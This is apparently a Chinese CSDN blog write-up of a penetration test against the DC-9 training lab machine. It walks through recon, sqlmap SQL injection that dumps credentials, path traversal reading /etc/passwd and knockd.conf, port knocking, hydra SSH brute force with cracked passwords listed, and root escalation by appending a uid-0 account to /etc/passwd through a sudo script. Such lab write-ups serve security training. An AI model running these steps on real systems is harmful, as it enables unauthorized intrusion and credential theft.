DC-9靶机渗透测试

文章详细描述了一次对DC-9靶机的渗透测试过程,涉及信息收集、漏洞发现(如SQL注入),利用文件包含和端口敲门技术绕过防护,通过爆破SSH获取更多权限,并最终实现提权。作者展示了如何使用各种工具和技术,如sqlmap、Knockd和OpenSSL,进行安全评估和攻击防御演示。
摘要由CSDN通过智能技术生成

DC-9靶机渗透测试

1. 信息收集

1.1 主机扫描

arp-scan -l

image-20230813203903754

1.2 端口扫描

nmap -A -p- 192.168.188.179

image-20230813203913383

扫描到了22端口和80端口,但是22端口处于filtered状态。

访问Web页面

image-20230813204052417

使用Wappalyzer浏览器插件扫描,没有发现什么有用的信息。

image-20230813204138586

1.3 目录扫描

dirsearch -u 192.168.188.179 -e * -i 200

image-20230813204251562

发现目录中没有扫描出有用的信息。

2. 漏洞发现

浏览页面的时候发现一个搜索框以及登录框

image-20230813204429616

image-20230813204441717

先在搜索框输入数值后使用bp抓包查看

image-20230813205531244

修改参数,发现存在SQL注入漏洞。

image-20230813205422461

3. 漏洞利用

因为当前的请求是POST请求,所以将Request请求参数全部导出文件里,然后再通过sqlmap工具来破解数据库。

image-20230814211533261

这里文件名字随意即可。

image-20230814211558693

列出当前所有的数据库

sqlmap -r wuhu.txt --dbs  --batch

命令解析:

  • -r wuhu.txt:使用 -r 参数指定请求文件,其中 wuhu.txt 是包含 HTTP 请求的文本文件。sqlmap 将分析该文件并检测是否存在 SQL 注入漏洞。
  • --dbs:使用 --dbs 参数表示进行数据库信息的获取。一旦发现 SQL 注入漏洞,sqlmap 将尝试列出目标服务器上的所有数据库。
  • --batch:使用 --batch 参数表示以批处理模式运行,即在不人工干预的情况下自动化执行漏洞利用过程(也就是不需要输入Y来确定)。

image-20230814212018895

查询Staff库中所有的表

sqlmap -r wuhu.txt -D  Staff  --tables   --batch

image-20230814212133439

查询Users表下的字段信息

sqlmap -r wuhu.txt -D  Staff  -T Users --columns --batch

image-20230814212229691

获取用户名和密码信息

sqlmap -r wuhu.txt -D  Staff  -T Users -C Username,Password --dump --batch

image-20230814212925189

这里不用去解密,sqlmap爆破的时候明文已经爆破出来了。

账号密码:admintransorbital1 然后进行登入

image-20230814213341260

登录成功。

然后去爆破另一个库users

查询users库中所有的表

sqlmap -r wuhu.txt -D  users  --tables  --batch

image-20230814213855249

查询表下的字段信息

sqlmap -r wuhu.txt -D  users  -T UserDetails --columns --batch

image-20230814213959663

获取用户名和密码信息

sqlmap -r wuhu.txt -D  users  -T UserDetails -C username,password --dump --batch

image-20230814214050090

得到了普通用户的账户和密码。

返回登录后的页面查看是否有可以利用的信息

image-20230814214522308

这里提示页面不存在。

3.1 文件包含

查看是否是文件包含漏洞,页面的URL路径中输入:

http://192.168.188.179/welcome.php?file=../../../../etc/passwd

image-20230814215027012

这里发现用户名和之前爆破数据库的用户名一致

image-20230814215353079

使用远程连接,发现22端口是处于filtered状态。有可能是防火墙进行了过滤。

image-20230814215926809

3.2 端口敲门

靶机使用了knockd进行防护,用来隐藏ssh登陆端口。

knockd 服务的默认配置路径:/etc/knockd.conf

**Knockd(也称为敲门守护进程)**是一个基于网络的安全工具,用于实现一种简单而有效的端口伪装和访问控制机制。它允许用户通过在特定的顺序按“敲门”(发送特定的网络请求)来触发服务器上的特定行为。当正确的敲门序列完成后,服务器将解锁指定的端口或服务,从而允许客户端进行连接。通过Knockd隐藏SSH

下面是 Knockd 的工作原理:

  1. 配置敲门序列:在服务器上设置 Knockd,定义一个敲门序列,包括一系列的网络请求(可以是 TCP、UDP 或其他协议)。这些请求可以是特定的端口扫描、发出特定数据包或发送特定的登录请求等。
  2. 监听网络流量:Knockd 在服务器上运行并监听网络接口,等待来自客户端的敲门请求。它可以通过监听特定端口或网络接口来捕获请求。
  3. 检查敲门序列:一旦 Knockd 捕获到请求,它将按照预先配置的敲门序列进行验证。它会检查请求是否按照正确的顺序、以正确的方式和正确的参数进行发送。
  4. 触发操作:如果接收到的请求与预先定义的敲门序列完全匹配,Knockd 将触发事先配置的操作,比如打开指定的端口、启动服务或执行其他预定义的脚本。这样,客户端就可以通过合法地完成敲门序列来访问服务器上的特定资源。

Knockd 的主要优点是隐藏了实际要提供的服务,只有在正确的敲门序列完成后才会将服务暴露给外部客户端。这种伪装和访问控制机制可以增加网络安全性,并减少未经授权的访问或攻击。它常用于构建针对恶意扫描和暴力破解的防御措施。

使用文件包含漏洞遍历一下,获取到了敲门的密码sequence = 7469,8475,9842

http://192.168.188.179/welcome.php?file=../../../../etc/knockd.conf

image-20230814220424022

进入本机的knockd配置文件中进行编辑

vim /etc/knockd.conf

image-20230814220633257

配置解释:

[options]
	UseSyslog  					  //用来定义日志输出位置以及文件名

[openSSH]
	sequence    = 7000,8000,9000  //设置(开门)敲门顺序,可以自定义
	seq_timeout = 5  			  //设置超时时间
	command     = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  //开门成功后添加防火墙规则命令(打开SSH端口)
	tcpflags    = syn

[closeSSH]
	sequence    = 9000,8000,7000  //设置(关门)敲门顺序,与开门顺序相反
	seq_timeout = 5  			  //设置超时时间
	command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  //关门成功后删除之前添加的防火墙规则(关闭SSH端口)
	tcpflags    = syn

使用命令:

knock 192.168.188.179 7469 8475 9842

image-20230814220947884

发现22端口变成了open状态了。

3.3 爆破SSH账户

将之前爆破出来的用户名和密码分别存放到两个字典中,使用hydra进行爆破。

用户名字典user.txt:

image-20230814221300945

密码字典pass.txt:

image-20230814221627712

输入命令

hydra -L user.txt -P pass.txt ssh://192.168.188.179

image-20230815101834346

这里爆破出来了三个用户

chandlerb 	UrAG0D!
joeyt 		Passw0rd
janitor 	Ilovepeepee

然后就可以ssh远程连接,查看三个用户中有用的信息。

当切换到janitor用户时,家目录有个隐藏目录。

image-20230815104357796

查看该目录

image-20230815104606462

发现很多密码信息,将密码复制到前面过滤出来的密码文件里,再次使用九头蛇爆破ssh。

输入命令:

hydra -L user.txt -P pass.txt ssh://192.168.188.179

image-20230815105311850

发现又多了一个用户。使用新爆破出来的用户名和密码进行ssh登录。

fredf
B4-Tru3-001

image-20230815105818013

登录成功,但是权限较低,进行提权。

4. 提权

查看当前用户可以使用哪些命令提权

sudo -l

image-20230815110025692

进入该路径查看

cd /opt/devstuff/dist/test

image-20230815110504260

发现test是一个python文件。

使用find命令查找python文件进行查看:

find / -name test.py 2>/dev/null

cat /opt/devstuff/dist/test.py

image-20230815110842822

#!/usr/bin/python

import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)

else :
    f = open(sys.argv[1], "r")		# 将下标为1的读出的值赋值给变量output
    output = (f.read())

    f = open(sys.argv[2], "a")		# 将下标为2的追加到变量output
    f.write(output)
    f.close()

该脚本的意思是打开用户输入的第二个文件,将第二个文件的内容追加保存到第三个文件里面,也就是说如果有命令是test.py a.txt b.txt,就会将a.txt的文件内容保存到b.txt里面。

使用命令创建一个admin的账户并生成一个密码的哈希值。

openssl passwd -1 -salt admin 123456

该命令是使用 OpenSSL 工具生成一个密码的哈希值。

  • openssl:是一个开源的加密工具集,提供了多种密码学功能。
  • passwd:是 OpenSSL 工具集中的一个子命令,用于生成密码的哈希值。
  • -1:这是一个选项,表示使用的是 MD5 哈希算法。MD5 为过时的哈希算法,不推荐在生产环境中使用。
  • -salt admin:这也是一个选项,指定了加盐的字符串。盐(salt)是为了增加密码哈希的复杂度和安全性而添加的随机字符串。这里的盐是"admin"。
  • 123456:这是要进行哈希的原始密码。

$1$admin$LClYcRe.ee8dQwgrFc5nz.

image-20230815111641774

把/etc/passwd的格式修改一下然后追加写入/tmp/passwd中

echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd 

image-20230815111906698

然后运行test使用命令:

sudo ./test /tmp/passwd /etc/passwd 

test.py将/tmp/passwd写入到/etc/passwd中。

image-20230815112306824

再查看一下/etc/passwd文件中是否写入

image-20230815112324178

然后切换admin用户查找flag

su adimn

image-20230815112426964

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

来日可期x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值